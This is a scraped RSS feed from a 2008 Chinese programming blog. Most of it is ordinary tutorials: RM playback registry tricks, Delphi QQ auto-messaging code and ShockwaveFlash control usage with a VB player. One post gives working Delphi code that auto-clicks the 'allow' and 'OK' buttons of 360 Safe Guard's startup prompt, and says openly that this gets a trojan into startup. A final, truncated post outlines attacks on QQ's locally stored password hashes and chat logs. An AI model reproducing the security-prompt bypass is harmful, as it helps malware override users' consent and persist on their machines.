<p>      发现了这个秘密，说明我们只要能够明白豪杰的大概原理，就可以做出既使客户端没有Real Player也同样如豪杰那样播放RM格式的影音文件了！</p>
<p>      打开注册表，在[HKEY_LOCAL_MACHINE\Software\CLASSES\Software\]和[HKEY_CLASSES_ROOT\ CLASSES\Software\]分支下都有名为RealNetworks的项（这分支下RealNetworks里面的内容是完全一样，唯一不同的是它们的支名），当我们卸载Real Player，Real Player就会删除RealNetworks项。这时再用豪杰来播放RM文件，我们就会发现豪杰就会在上述两分支重建RealNetworks项（即使你再次手动删除，当你用豪杰播放RM文件时豪杰，它就会又重建RealNetworks项）。<br />
      导出[HKEY_LOCAL_MACHINE\Software\CLASSES\Software\RealNetworks]分支.最好先删除这一分支后，在打开豪杰播放RM文件，让豪杰来重建RealNetworks。因为豪杰引用较少的文件就能播放，而Real Player引用的较复杂，没有必要去浪费资源！</p>
<p>      在导出文件中有以下三项内容：（假设豪杰安装在D盘） [HKEY_LOCAL_MACHINE\Software\CLASSES\Software\RealNetworks\Prefe_rences\DT_Common]<br />
@=&#34;D:\\HEROSOFT\\HERO2001\\Common\\&#34;（是引用豪杰Common目录）<br />
 [HKEY_LOCAL_MACHINE\Software\CLASSES\Software\RealNetworks\Prefe_rences\DT_Plugins]<br />
@=&#34;D:\\HEROSOFT\\HERO2001\\Plugins\\&#34;（是引用豪杰Plugins目录）<br />
 [HKEY_LOCAL_MACHINE\Software\CLASSES\Software\RealNetworks\Prefe_rences\DT_Codecs]<br />
@=&#34;D:\\HEROSOFT\\HERO2001\\Codecs\\&#34;（是引用豪杰Codecs目录）<br />
从导出文件剪切以上三项与下面两项合并成一个注册表文件，这样导出文件的剩余部分即为公用部分（无论是Real Player还是豪杰都必不可小的）。</p>
<p>[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Software\RealNetworks\Up&#100;ate\6.0\Preferen_ces\Components\RMACore:6.0\File17]<br />
@=&#34;D:\\Windows\\System\\pncrt.dll&#34;(引用pncrt.dll)<br />
 [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Software\RealNetworks\RealPlayer\6.0\Pref_erences\DataTypes\rpmOCX\OCXDLL]<br />
@=&#34;D:\\Windows\\System\\rmoc3260.dll&#34;(引用rmoc3260.dll)<br />
       这样新合成的注册表文件，可根据你文件所在目录随意修改（即5处下画线处），只要你愿意，你可以将这些文件藏在你电脑的任意一个角落里！而公用部分导入注册表后就不用问它了！<br />
       注意事项：导出的注册表会因为操作系统不同导出的形式略有不同，因为WINDOWS 98是采用16位注册表编辑器，而WINDOWS 2000以上的是基于32位注册表编辑器。但它们所导出的内容是完全一样的！<br />
       这样就大功告成了！干快试试吧！让你的程序没有Real Plyaer一样干活！<br />
    （ 此方法在WINDOWS 98  /  2000  /  2000 Server  /   XP均可通过！）</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.duoday.com/2008/254.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>delphi:QQ自动发消息源码</title>
		<link>http://blog.duoday.com/2008/253.html</link>
		<comments>http://blog.duoday.com/2008/253.html#comments</comments>
		<pubDate>Tue, 07 Oct 2008 22:20:18 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[设计代码]]></category>

		<guid isPermaLink="false">http://blog.duoday.com/2008/253.html</guid>
		<description><![CDATA[这里面有的到窗口句柄，输入框句柄和按钮句柄的方法！
你可以结合使用的到你想的到的功能！
这是一个qq自动发送的功能，你看看，应该有点用吧！：）
[code]
procedure TForm1.Button1Click(Sender: TObject);
var
hParent,hButton,hMemo: HWND;
begin
Memo1.CopyToClipboard;//把Memo中选中的语句拷贝到剪贴板中
try
//找发送消息的QQ窗口
hParent := FindWindow(nil, &#39;发送消息&#39;);
//然后找回话时用的编辑窗口,Point函数用于返回一个TPoint类型变量
hMemo := ChildWindowFromPointEx(hParent, Point(50, 100), CWP_ALL);
//找到“送讯息”按钮的句柄
hButton := FindWindowEx(hParent,0,nil,&#39;送讯息(&#38;S)&#39;);
if (hParent = 0) o&#114; (hMemo = 0) o&#114; (hButton = 0) then
MessageBox(Handle,&#39;没有找到发送窗口，请重试！&#39;,&#39;错误&#39;,MB_ICONWARNING)
else
begin
//向发送消息中的回话编辑框发送粘贴消息
SendMessage(hMemo,WM_PASTE,0,0);
//向“送讯息”按钮送单击消息以模仿按键发送回话
SendMessage(hButton,BM_CLICK,0,0);
end;
except
//如果发生以外错误给出提示
MessageBox(Handle,&#39;发送消息出错，请重试！&#39;,&#39;错误&#39;,MB_ICONWARNING);
end;
end;
[/code]
]]></description>
			<content:encoded><![CDATA[<p>这里面有的到窗口句柄，输入框句柄和按钮句柄的方法！<br />
你可以结合使用的到你想的到的功能！<br />
这是一个qq自动发送的功能，你看看，应该有点用吧！：）<br />
[code]<br />
procedure TForm1.Button1Click(Sender: TObject);<br />
var<br />
hParent,hButton,hMemo: HWND;<br />
begin<br />
Memo1.CopyToClipboard;//把Memo中选中的语句拷贝到剪贴板中<br />
try<br />
//找发送消息的QQ窗口<br />
hParent := FindWindow(nil, &#39;发送消息&#39;);<br />
//然后找回话时用的编辑窗口,Point函数用于返回一个TPoint类型变量<br />
hMemo := ChildWindowFromPointEx(hParent, Point(50, 100), CWP_ALL);<br />
//找到“送讯息”按钮的句柄<br />
hButton := FindWindowEx(hParent,0,nil,&#39;送讯息(&amp;S)&#39;);<br />
if (hParent = 0) o&#114; (hMemo = 0) o&#114; (hButton = 0) then<br />
MessageBox(Handle,&#39;没有找到发送窗口，请重试！&#39;,&#39;错误&#39;,MB_ICONWARNING)<br />
else<br />
begin<br />
//向发送消息中的回话编辑框发送粘贴消息<br />
SendMessage(hMemo,WM_PASTE,0,0);<br />
//向“送讯息”按钮送单击消息以模仿按键发送回话<br />
SendMessage(hButton,BM_CLICK,0,0);<br />
end;<br />
except<br />
//如果发生以外错误给出提示<br />
MessageBox(Handle,&#39;发送消息出错，请重试！&#39;,&#39;错误&#39;,MB_ICONWARNING);<br />
end;<br />
end;</p>
<p>[/code]</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.duoday.com/2008/253.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Shockwaveflash 资料收集1</title>
		<link>http://blog.duoday.com/2008/252.html</link>
		<comments>http://blog.duoday.com/2008/252.html#comments</comments>
		<pubDate>Tue, 07 Oct 2008 22:15:48 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[设计代码]]></category>

		<guid isPermaLink="false">http://blog.duoday.com/2008/252.html</guid>
		<description><![CDATA[AlignMode(int型)和SAlign(WideString型) 控制动画的显示位置(把这两个属性列在一起说明它们是相互
关联的，改变一个另一个也会相应地改变，以下类似)。取值范围及含义如下:
　　 0 空          当前位置
　　 1 L           当前位置靠左
　　 2 R           当前位置靠右
　　 3 LR         当前位置居中
　　 4 T   [...]]]></description>
			<content:encoded><![CDATA[<p>AlignMode(int型)和SAlign(WideString型) 控制动画的显示位置(把这两个属性列在一起说明它们是相互</p>
<p>关联的，改变一个另一个也会相应地改变，以下类似)。取值范围及含义如下:<br />
　　 0 空          当前位置<br />
　　 1 L           当前位置靠左<br />
　　 2 R           当前位置靠右<br />
　　 3 LR         当前位置居中<br />
　　 4 T           当前位置靠上<br />
　　 5 LT         左上<br />
　　 6 TR        右上<br />
　　 7 LTR      上方居中<br />
　　 8 B           当前位置靠下<br />
　　 9 LB         左下<br />
　　 10 RB      右下<br />
　　 11 LRB    下方居中<br />
　　 12 TB        当前位置垂直居中<br />
　　 13 LTB      靠左垂直居中<br />
　　 14 TRB 靠右垂直居中<br />
　　 15 LTRB 中央位置<br />
　　【属性】BackgroundColor(int型)和BGColor(WideString型) 设置背景颜色，BackgroundColor为整</p>
<p>型值，BGColor为它的HEX字符串。<br />
　　【属性】Loop(bool型) 是否循环显示<br />
　　【属性】Menu(bool型) 是否显示右键菜单，建议设为true，因为它可以完成对Flash动画的大部分控</p>
<p>制工作，而不用我们写代码。<br />
　　【属性】Movie(WideString型) Flash动画的文件名，可以在运行状态动态设置，要关闭一个动画只</p>
<p>要把它设为空即可。<br />
　　【属性】Quality(int型)和Quality2(WideString型) 控制动画的显示质量,一般将Quality设为1以获</p>
<p>得高质量的显示效果。<br />
　　【属性】ScaleMode(int型)和scale(WideString型) 控制动画的显示比例，取值范围及含义如下:<br />
　　 0     ShowAll 显示全部<br />
　　 1     NoBorder 无边框模式<br />
　　 2     ExactFit 拉伸到整个画面<br />
　　 3     空 原始大小</p>
<p>【方法】PercentLoaded 返回动画已经加载的百分比，你可以建立一个进程条(ProgressBar)来显示<br />
动画加载的进程。<br />
　　【方法】LoadMovie 用于加载网络上的动画，动画文件名为一个BSTR型的URL值，在 C＋＋ Builder<br />
中可以用 AnsiToOLESTR 函数将Char型的字符串转换成BSTR型。<br />
　　好了，利用上面介绍的属性和方法，相信你已经很好地使用它了！遗憾的是 ShockWaveFlash 控件<br />
功能现在<br />
还不太完善，比如无法返回动画的实际大小和背景颜色等，但对于我们只要在程序中显示一个特定的<br />
Flash动画来说，这些并不重要。</p>
<p>*************************************************************************************************</p>
<p>    tshockwaveflash主要属性如下：</p>
<p>    readystate：读一个flash文件时的状态，其中包括0=loading、1=uninitialized、2=loaded、</p>
<p>3=interactive和4=complete；<br />
    totalframes：总帧数，只有当readystate     =     4时才能访问该属性；<br />
    framenum：当前播放的帧；<br />
    playing：播放或暂停一个flash；<br />
    quality：指定当前渲染的质量，包括0=low,     1=high、2=autolow、3=autohigh；<br />
    scalemode：缩放模式，0=showall、1=     noborder、2     =     exactfit；<br />
    alignmode：对齐模式，left=+1、right=+2、=+4、bottom=+8；<br />
    backgroundcolor：背景色，-1为默认颜色；<br />
    loop：是否循环；<br />
    movie：指定播放的flash文件路径，可以为一个url。</p>
<p>    tshockwaveflash主要方法如下：</p>
<p>    play()：开始播放动画；<br />
    stop()；停止播放动画；<br />
    back()；播放前一帧动画；<br />
    forward()：播放后一帧动画；<br />
    rewind()：播放第一帧动画；<br />
    setzoomrect(int     left,     int     top,     int     right,     int     bottom)：设置缩放的区域；<br />
    zoom(int     percent)：按百分比缩放；<br />
    pan(int     x,     int     y,     int     mode)：缩放播放面板，其中模式0为按像数、1为按窗口百分比。</p>
<p>    tshockwaveflash主要事件如下：</p>
<p>    onprogress(int     percent)：读取一个flash时触发；<br />
    onreadystatechange(int     state)：状态改变时触发。states的值可以为0=loading、</p>
<p>1=uninitialized、2=loaded、3=interactive和4=complete。<br />
****************************************************************************************<br />
用VB编写FLASH动画播放器_VisualBasic教程<br />
Flash4是MacroMedia公司出品的矢量动画创作专业软件，利用该软件制作的矢量动画具有文件体积小、带</p>
<p>音效和兼容性好等特点。那么，你想不想在自己编写的程序中加入Flash动画，为自己的程序添加一道亮</p>
<p>丽的色彩呢？<br />
　　一、编程原理<br />
　　本程序利用了Flash4本身自带播放Flash动画的控件Swflash.ocx。你可以通过以下途径获得该控件：</p>
<p>1、安装Flash4；2、安装Windows98自带的Flash插件，方法：依次单击“开始”菜单－“设置”－“控制面板”</p>
<p>－“添加/删除程序”－“Windows安装程序”－“多媒体”－“详细资料”－选中“MacromediaShockwaveFlash”前</p>
<p>的复选框确定即可。以上方法都会将该控件安装到Windows目录下的System\Macromed\Flash子目录下。<br />
　　二、示例程序<br />
　　下面就是一个用Swflash.ocx控件编写的Flash动画播放器。本程序可一次打开多个Flash动画文件，</p>
<p>并可在播放过程中选择播放打开的文件、随时改变播放质量、画面大小等状态；在播放过程中可以随时对</p>
<p>播放的当前帧数进行调整或者手动进行逐帧播放，在状态栏里有当前播放状态的相关说明。在实现以上功</p>
<p>能时，几乎用全了Swflash.ocx控件的主要属性、方法。<br />
　　编程过程如下：<br />
　　1、窗体、界面设计。<br />
　　新建工程，选择“工程”菜单下的“部件”命令，在“部件”窗口的“控件”列表中将“Shockwaveflash”、</p>
<p>“MicrosoftCommonDialogControl6.0(SP3)”、“MicrosoftWindowsCommonControl6.0(SP3)”前的复选框选</p>
<p>中，然后确定。再在窗体中分别加入1个CommonDialog控件、1个Slider控件、3个Label控件、6个</p>
<p>CommandButton控件和1个StatusBar控件。其中：<br />
　　将Form1的“Caption”属性设置为：Flash动画播放器。这是控制窗口。<br />
　　将CommonDialog1的CancelError设置为True，DialogTitle设置为“打开Flash动画文件”，Filter属性</p>
<p>设置为“Flash动画（＊.swf）|＊.swf|”，FilterIndex设置为1，MaxFileSize设置为10240。<br />
　　将Slider1的Sel&#101;ctRanger的属性设置为“True”，SmallChange属性和LargeChange属性设置为10，</p>
<p>TickFrequengcy属性设置为20，TextPosition设置为“1－SldBelowRight”。<br />
　　将Label(1－3)分别放在Slider1下的左端、中间和右端。其中，Label1的Caption设置为“0帧”，</p>
<p>Label2和Label3的Caption设置为空字符串。<br />
　　6个CommandButton的“名称”属性分别为：cmdOpen、cmdPlay、cmdPause、cmdPre、cmdPreFrame、</p>
<p>cmdNextFrame、cmdNext、cmdExit，“Caption”属性分别为：打开、播放、暂停、上一个、上一帧、下一</p>
<p>帧、下一个、退出。<br />
　　在StatusBar上单击鼠标右键，选择“属性”，从弹出的窗口中选择“窗格”页面，用鼠标点击“插入窗格</p>
<p>”5次，在索引1－5中分别设置“文本”属性为：“共打开了0个文件”、“状态：”、“等待”、“帧数：”、“0”，</p>
<p>再适当设置每一项的“最小宽度”的属性（可参考图1中的比例）。<br />
　　　　进入菜单编辑器（按快捷键Ctrl＋E）。设置第一个菜单标题为“显示控制”，名称为：</p>
<p>mnuDisplay；在“显示控制”下设立子菜单标题分别为“全部显示”、“随窗口大小变化”、“缩放至窗口大小”</p>
<p>，名称分别为：mnuDisplay0、mnuDisplay1、mnuDisplay2。设置第二个菜单标题为“质量控制”，名称为</p>
<p>：mnuQuality；在“质量控制”下设立子菜单标题分别为“低分辨率”、“高分辨率”，名称分别为：</p>
<p>mnuQuality0、mnuQuality1。设置第三个菜单标题为“播放控制”，名称为：mnuPlayControl；在“播放控</p>
<p>制”下设立子菜单标题分别为“循环播放”、“放大画面”、“缩小画面”，名称分别为：mnuLoopPlay、</p>
<p>mnuZoomIn、mnuZoomOut。<br />
　　选择“工程”菜单下的“添加窗体”命令，新增一个窗体Form2作为播放窗口。在Form2上加入1个</p>
<p>ShockwaveFlash控件和1个Timer控件。将Timer1控件的“Interval”属性设置为“20”。<br />
　　最后，对各窗体、控件的大小、位置进行适当的调整，其大小、位置可参考图1。<br />
　　2、程序代码<br />
　　第一步：在Form1的代码窗口中添加以下代码：<br />
　　DimFileNames()AsString注释：用于保存打开的文件名称。<br />
　　DimPlayFileNumAsInteger注释：用于计算正在播放的文件序号。<br />
　　DimTotalFileAsInteger注释：用于统计打开的文件总数。<br />
　　PrivateSubcmdOpen_Click()注释：打开<br />
　　OnErrorGoToExitOpen<br />
　　CommonDialog1.Flags=cdlOFNAllowMultisel&#101;ctOrcdlOFNFileMustExistOrcdlOFNExplorer<br />
　　CommonDialog1.FileName=″&#34;<br />
　　CommonDialog1.ShowOpen注释：显示“打开”对话框。<br />
　　注释：以vbNullChar作为子字符串的边界分隔字符串CommonDialog1返回的FileName。<br />
　　FileNames()=Split(CommonDialog1.FileName,vbNullChar)<br />
　　IfUBound(FileNames)=0Then注释：用户只打开了一个文件。<br />
　　Form2!ShockwaveFlash1.Movie=FileNames(0)<br />
　　TotalFile=1<br />
　　PlayFileNum=0<br />
　　Else注释：用户打开了多于一个文件。<br />
　　Form2!ShockwaveFlash1.Movie=FileNames(0)＋″\″＋FileNames(1)<br />
　　TotalFile=UBound(FileNames)<br />
　　PlayFileNum=1<br />
　　EndIf<br />
　　StatusBar1.Panels(1).Text=″共打开了″＋Trim(Str(TotalFile))＋″个文件″<br />
　　cmdPlay_Click<br />
　　ExitOpen:<br />
　　EndSub<br />
　　PrivateSubcmdPlay_Click()注释：开始播放<br />
　　IfTotalFile<1ThenExitSub注释：用户还没有打开文件。<br />
　　注释：显示Form2开始播放动画。<br />
　　Form2.Caption=FileNames(PlayFileNum)＋″－Flash动画播放器″<br />
　　Form2.Show<br />
　　Form2!ShockwaveFlash1.Playing=True<br />
　　IfTotalFile=1ThenPlayFileNum=0<br />
　　注释：显示状态条的信息。<br />
　　StatusBar1.Panels(3).Text=″正在播放文件：″＋FileNames(PlayFileNum)＋″...″<br />
　　注释：显示滑动条的状态。<br />
　　Slider1.Max=Form2!ShockwaveFlash1.TotalFrames<br />
　　Label2.Caption=Str(Slider1.Max/2)＋″帧″<br />
　　Label3.Caption=Str(Slider1.Max)＋″帧″<br />
　　EndSub<br />
　　PrivateSubcmdPause_Click()注释：暂停播放<br />
　　Form2!ShockwaveFlash1.Stop<br />
　　EndSub<br />
　　PrivateSubcmdPre_Click()注释：播放上一个文件<br />
　　IfTotalFile<>1Then注释：当用户打开多于一个文件时<br />
　　PlayFileNum=PlayFileNum－1<br />
　　IfPlayFileNum<1ThenPlayFileNum=TotalFile<br />
　　Form2!ShockwaveFlash1.Movie=FileNames(0)＋″\″＋FileNames(PlayFileNum)<br />
　　EndIf<br />
　　注释：显示播放状态的信息。<br />
　　StatusBar1.Panels(3).Text=″正在播放文件：″＋FileNames(PlayFileNum)＋″...″<br />
　　Slider1.Max=Form2!ShockwaveFlash1.TotalFrames<br />
　　Form2.Caption=FileNames(PlayFileNum)＋″－Flash动画播放器″<br />
　　Label2.Caption=Str(Slider1.Max/2)＋″帧″<br />
　　Label3.Caption=Str(Slider1.Max)＋″帧″<br />
　　EndSub<br />
　　PrivateSubcmdNext_Click()注释：播放下一个文件<br />
　　IfTotalFile<>1Then注释：用户打开多于一个文件时<br />
　　PlayFileNum=PlayFileNum＋1<br />
　　IfPlayFileNum>TotalFileThenPlayFileNum=1<br />
　　Form2!ShockwaveFlash1.Movie=FileNames(0)＋″\″＋FileNames(PlayFileNum)<br />
　　EndIf<br />
　　注释：显示播放状态的信息。<br />
　　StatusBar1.Panels(3).Text=″正在播放文件：″＋FileNames(PlayFileNum)＋″&#8230;″<br />
　　Slider1.Max=Form2!ShockwaveFlash1.TotalFrames<br />
　　Form2.Caption=FileNames(PlayFileNum)＋″－Flash动画播放器″<br />
　　Label2.Caption=Str(Slider1.Max/2)＋″帧″<br />
　　Label3.Caption=Str(Slider1.Max)＋″帧″<br />
　　EndSub<br />
　　PrivateSubcmdPreFrame_Click()注释：跳到动画的上一帧<br />
　　Form2!ShockwaveFlash1.Back<br />
　　EndSub<br />
　　PrivateSubcmdNextFrame_Click()注释：跳到动画的下一帧<br />
　　Form2!ShockwaveFlash1.Forward<br />
　　EndSub<br />
　　PrivateSubcmdExit_Click()注释：退出程序<br />
　　End<br />
　　EndSub<br />
　　PrivateSubSlider1_Scroll()<br />
　　注释：当用户拖动滑动条时，将播放帧数设置为滑动条中的值。<br />
　　Form2!ShockwaveFlash1.FrameNum=Slider1.Value<br />
　　EndSub<br />
　　PrivateSubmnuDisplay0_Click()<br />
　　注释：将画面大小设置为在控件内保持动画原来比例全部显示<br />
　　Form2!ShockwaveFlash1.ScaleMode=0<br />
　　mnuDisplay0.Checked=True<br />
　　mnuDisplay1.Checked=False<br />
　　mnuDisplay2.Checked=False<br />
　　EndSub<br />
　　PrivateSubmnuDisplay1_Click()<br />
　　注释：将画面的缩放设置为随控件横向（或纵向）的缩放而变化<br />
　　Form2!ShockwaveFlash1.ScaleMode=1<br />
　　mnuDisplay0.Checked=False<br />
　　mnuDisplay1.Checked=True<br />
　　mnuDisplay2.Checked=False<br />
　　EndSub<br />
　　PrivateSubmnuDisplay2_Click()<br />
　　注释：将画面大小设置为不理会动画原来比例缩放至控件大小<br />
　　Form2!ShockwaveFlash1.ScaleMode=2<br />
　　mnuDisplay0.Checked=False<br />
　　mnuDisplay1.Checked=False<br />
　　mnuDisplay2.Checked=True<br />
　　EndSub<br />
　　PrivateSubmnuLoopPlay_Click()<br />
　　注释：将播放方式设置为循环或不循环。<br />
　　mnuLoopPlay.Checked=NotmnuLoopPlay.Checked<br />
　　Form2!ShockwaveFlash1.Loop=NotForm2!ShockwaveFlash1.Loop<br />
　　EndSub<br />
　　PrivateSubmnuQuality0_Click()<br />
　　注释：将画面质量设置为低分辨率<br />
　　Form2!ShockwaveFlash1.Quality=0<br />
　　mnuQuality0.Checked=True<br />
　　mnuQuality1.Checked=False<br />
　　EndSub<br />
　　PrivateSubmnuQuality1_Click()<br />
　　注释：将画面质量设置为高分辨率<br />
　　Form2!ShockwaveFlash1.Quality=1<br />
　　mnuQuality0.Checked=False<br />
　　mnuQuality1.Checked=True<br />
　　EndSub<br />
　　PrivateSubmnuZoomIn_Click()<br />
　　注释：放大画面。<br />
　　Form2!ShockwaveFlash1.Zoom(50)<br />
　　EndSub<br />
　　PrivateSubmnuZoomOut_Click()<br />
　　注释：缩小画面。<br />
　　Form2!ShockwaveFlash1.Zoom(200)<br />
　　EndSub<br />
　　PrivateSubForm_Unload(CancelAsInteger)<br />
　　End注释：结束程序<br />
　　EndSub<br />
　　第二步：在Form2的代码窗口中添加以下代码：<br />
　　PrivateSubForm_Resize()<br />
　　注释：将ShockwaveFlash1控件的大小设置为Form2的大小。<br />
　　ShockwaveFlash1.Top=Form2.ScaleTop<br />
　　ShockwaveFlash1.Left=Form2.ScaleLeft<br />
　　ShockwaveFlash1.Width=Form2.ScaleWidth<br />
　　ShockwaveFlash1.Height=Form2.ScaleHeight<br />
　　EndSub<br />
　　PrivateSubTimer1_Timer()<br />
　　注释：在状态栏和滑动条上显示当前播放的帧。<br />
　　Form1!StatusBar1.Panels(5).Text=Str(ShockwaveFlash1.FrameNum)<br />
　　Form1!Slider1.Value=ShockwaveFlash1.FrameNum<br />
　　EndSub<br />
　　第三步：调试、运行程序，运行界面如图2所示。<br />
　　当播放Flash动画时，在播放窗口中单击鼠标右键时，将会弹出如图3所示的菜单。在该菜单，我们可</p>
<p>以完成控制Flash动画播放的大部份工作。若想取消该功能，只要将Shockwaveflash控件的Menu属性设置</p>
<p>为False即可。<br />
　　以上程序在Windows98，VB6.0下运行通过。-></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.duoday.com/2008/252.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>delphi虚拟点击过360安全卫士</title>
		<link>http://blog.duoday.com/2008/247.html</link>
		<comments>http://blog.duoday.com/2008/247.html#comments</comments>
		<pubDate>Sat, 20 Sep 2008 15:40:48 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[设计代码]]></category>

		<guid isPermaLink="false">http://blog.duoday.com/2008/247.html</guid>
		<description><![CDATA[360安全卫士总是会提示有某个程序要添加到随机启动里面,让用户来确定是不是要让这个程序成为随机启动.只要我们能快速的点击那个&#34;确定&#34;也能让木马成功的添加到随机启动里面.    首先我们应该了解这两个函数，findwindow和findwindowex她们是API函数，在VB语言里面我们要在写很常的声明，用的时候也容易出错，但是在delphi中由于VCL的封装这两个API函数可以像DELPHI自身的函数那样简单调用来获得窗体句柄。FindWindow(LPCTSTR LpClassName，LPCTSTR LpWindowName);
LpClassName ：指向一个指定了类名的空结束字符串，或一个标识类名字符串的成员的指针。如果该参数为一个成员，则它必须为前次调用theGlobafAddAtom函数产生的全局成员。该成员为16位，必须位于IpClassName的低 16位，高位必须为 0。
LpWindowName：指向一个指定了窗口名（窗口标题）的空结束字符串。如果该参数为空，则为所有窗口全匹配
FindWindowEx(HWND hwndParent，HWND hwndChildAfter，LPCTSTR lpszClass，LPCTSTR lpszWindow);
hwndParent：要查找子窗口的父窗口句柄。
如果hwnjParent为NULL，则函数以桌面窗口为父窗口，查找桌面窗口的所有子窗口。
hwndChildAfter ：子窗口句柄。查找从在Z序中的下一个子窗口开始。子窗口必须为hwndPareRt窗口的直接子窗口而非后代窗口。如果HwndChildAfter为NULL，查找从hwndParent的第一个子窗口开始。如果hwndParent 和 hwndChildAfter同时为NULL，则函数查找所有的顶层窗口及消息窗口。
    lpszClass：指向一个指定了类名的空结束字符串，或一个标识类名字符串的成员的指针。如果该参数为一个成员，则它必须为前次调用theGlobaIAddAtom函数产生的全局成员。该成员为16位，必须位于lpClassName的低16位，高位必须为0。
    lpszWindow：指向一个指定了窗口名（窗口标题）的空结束字符串。如果该参数为 NULL，则为所有窗口全匹配。返回值：如果函数成功，返回值为具有指定类名和窗口名的窗口句柄。如果函数失败，返回值为NULL
了解这两个函数后我们就开始进行编程。
在窗体上加个timer1控件并把interval的值设为小于500大于0
procedure TForm1.Timer1Timer(Sender: TObject);
var
idid,hand,he:thandle;
begin
idid:=findwindow(&#39;Afx:400000:0&#39;,nil);//获取360安全卫士的提示句柄
IF idid  0 THEN//当获得360安全卫士句柄的时候
begin
    hand:=findwindowex(idid,0,&#39;Button&#39;,&#39;允许此动作&#39;);//先获取&#34;允许此动作&#34;的选项句柄
          if hand0 then//获得&#34;允许此动作&#34;的句柄
        [...]]]></description>
			<content:encoded><![CDATA[<p>360安全卫士总是会提示有某个程序要添加到随机启动里面,让用户来确定是不是要让这个程序成为随机启动.只要我们能快速的点击那个&#34;确定&#34;也能让木马成功的添加到随机启动里面.    首先我们应该了解这两个函数，findwindow和findwindowex她们是API函数，在VB语言里面我们要在写很常的声明，用的时候也容易出错，但是在delphi中由于VCL的封装这两个API函数可以像DELPHI自身的函数那样简单调用来获得窗体句柄。FindWindow(LPCTSTR LpClassName，LPCTSTR LpWindowName);<br />
LpClassName ：指向一个指定了类名的空结束字符串，或一个标识类名字符串的成员的指针。如果该参数为一个成员，则它必须为前次调用theGlobafAddAtom函数产生的全局成员。该成员为16位，必须位于IpClassName的低 16位，高位必须为 0。</p>
<p>LpWindowName：指向一个指定了窗口名（窗口标题）的空结束字符串。如果该参数为空，则为所有窗口全匹配</p>
<p>FindWindowEx(HWND hwndParent，HWND hwndChildAfter，LPCTSTR lpszClass，LPCTSTR lpszWindow);</p>
<p>hwndParent：要查找子窗口的父窗口句柄。</p>
<p>如果hwnjParent为NULL，则函数以桌面窗口为父窗口，查找桌面窗口的所有子窗口。</p>
<p>hwndChildAfter ：子窗口句柄。查找从在Z序中的下一个子窗口开始。子窗口必须为hwndPareRt窗口的直接子窗口而非后代窗口。如果HwndChildAfter为NULL，查找从hwndParent的第一个子窗口开始。如果hwndParent 和 hwndChildAfter同时为NULL，则函数查找所有的顶层窗口及消息窗口。</p>
<p>    lpszClass：指向一个指定了类名的空结束字符串，或一个标识类名字符串的成员的指针。如果该参数为一个成员，则它必须为前次调用theGlobaIAddAtom函数产生的全局成员。该成员为16位，必须位于lpClassName的低16位，高位必须为0。</p>
<p>    lpszWindow：指向一个指定了窗口名（窗口标题）的空结束字符串。如果该参数为 NULL，则为所有窗口全匹配。返回值：如果函数成功，返回值为具有指定类名和窗口名的窗口句柄。如果函数失败，返回值为NULL</p>
<p>了解这两个函数后我们就开始进行编程。</p>
<p>在窗体上加个timer1控件并把interval的值设为小于500大于0</p>
<p>procedure TForm1.Timer1Timer(Sender: TObject);<br />
var<br />
idid,hand,he:thandle;<br />
begin<br />
idid:=findwindow(&#39;Afx:400000:0&#39;,nil);//获取360安全卫士的提示句柄<br />
IF idid <> 0 THEN//当获得360安全卫士句柄的时候<br />
begin<br />
    hand:=findwindowex(idid,0,&#39;Button&#39;,&#39;允许此动作&#39;);//先获取&#34;允许此动作&#34;的选项句柄<br />
          if hand<>0 then//获得&#34;允许此动作&#34;的句柄<br />
          begin<br />
           postmessage(hand,wm_lbuttondown,0,0);<br />
           postmessage(hand,wm_lbuttonup,0,0);//将选项确定在允许此动作上<br />
           he:=findwindowex(idid,0,&#39;Button&#39;,&#39;确定&#39;);//获得&#34;确定&#34;的句柄<br />
           postmessage(he,wm_lbuttondown,0,0);<br />
           postmessage(he,wm_lbuttonup,0,0);//自动点击确定<br />
          end;<br />
end;<br />
    end;</p>
<p>end.</p>
<p>这样我们就将我们成功的将&#34;木马&#34;添加到随机起动里面了.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.duoday.com/2008/247.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>QQ聊天记录是如何加密的</title>
		<link>http://blog.duoday.com/2008/245.html</link>
		<comments>http://blog.duoday.com/2008/245.html#comments</comments>
		<pubDate>Thu, 18 Sep 2008 14:39:54 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[设计代码]]></category>

		<guid isPermaLink="false">http://blog.duoday.com/2008/245.html</guid>
		<description><![CDATA[QQ，就是OICQ，TENCENT公司研发的即时信息软件，是中国市场上国产IM软件绝对的老大。中国网民几乎人手至少一个QQ号码。大家都比我清楚，不多介绍。
  本文谈谈QQ的安全问题。
  QQ具有如此惊人的人气，却有着与之不相称的安全问题。基本上可以说，使用QQ，基本没有任何隐私可言！另外它也为你的电脑带来了诸多附送的安全隐患。有识之士如我都早已不用QQ啦。
  一，本地密码保存方式
  QQ的客户端会不经用户同意，把用户的密码经过数万次的MD5运算后存在本地。每次登陆在发送网络数据包之前进行本地验证，相信熟悉QQ的朋友对这一点都不陌生。这样事实上给了攻击者暴力破解QQ密码的机会，只要攻击者得到本地保存的这个数据即可。这个文件曾经叫ewh.db或者user.db，不知道现在是否又变了。说明一点，由于MD5作了数万次，这样的破解效率不高，但再低的效率也有弱智密码中招，当年在线尝试登陆都可以，还有什么不可能呢？
  如果选择了自动登陆，那么密码的一次MD5保存在oicq2000.cfg中，破解速度大大提高。
  二，本地聊天记录查看漏洞
  典型的攻击场景是：已经拿到全部本地记录，就是一个以QQ号为名的文件夹，不知道密码（或者俗称忘记了密码，求助者多数号称是mm）如何查看其聊天记录？
  QQ登陆的流程是这样的：1.输入用户名密码->2.本地验证通过->3.得到用户界面（企鹅开始闪动）->4.发送登陆包->5.收到登陆包成功响应->6.登陆成功。
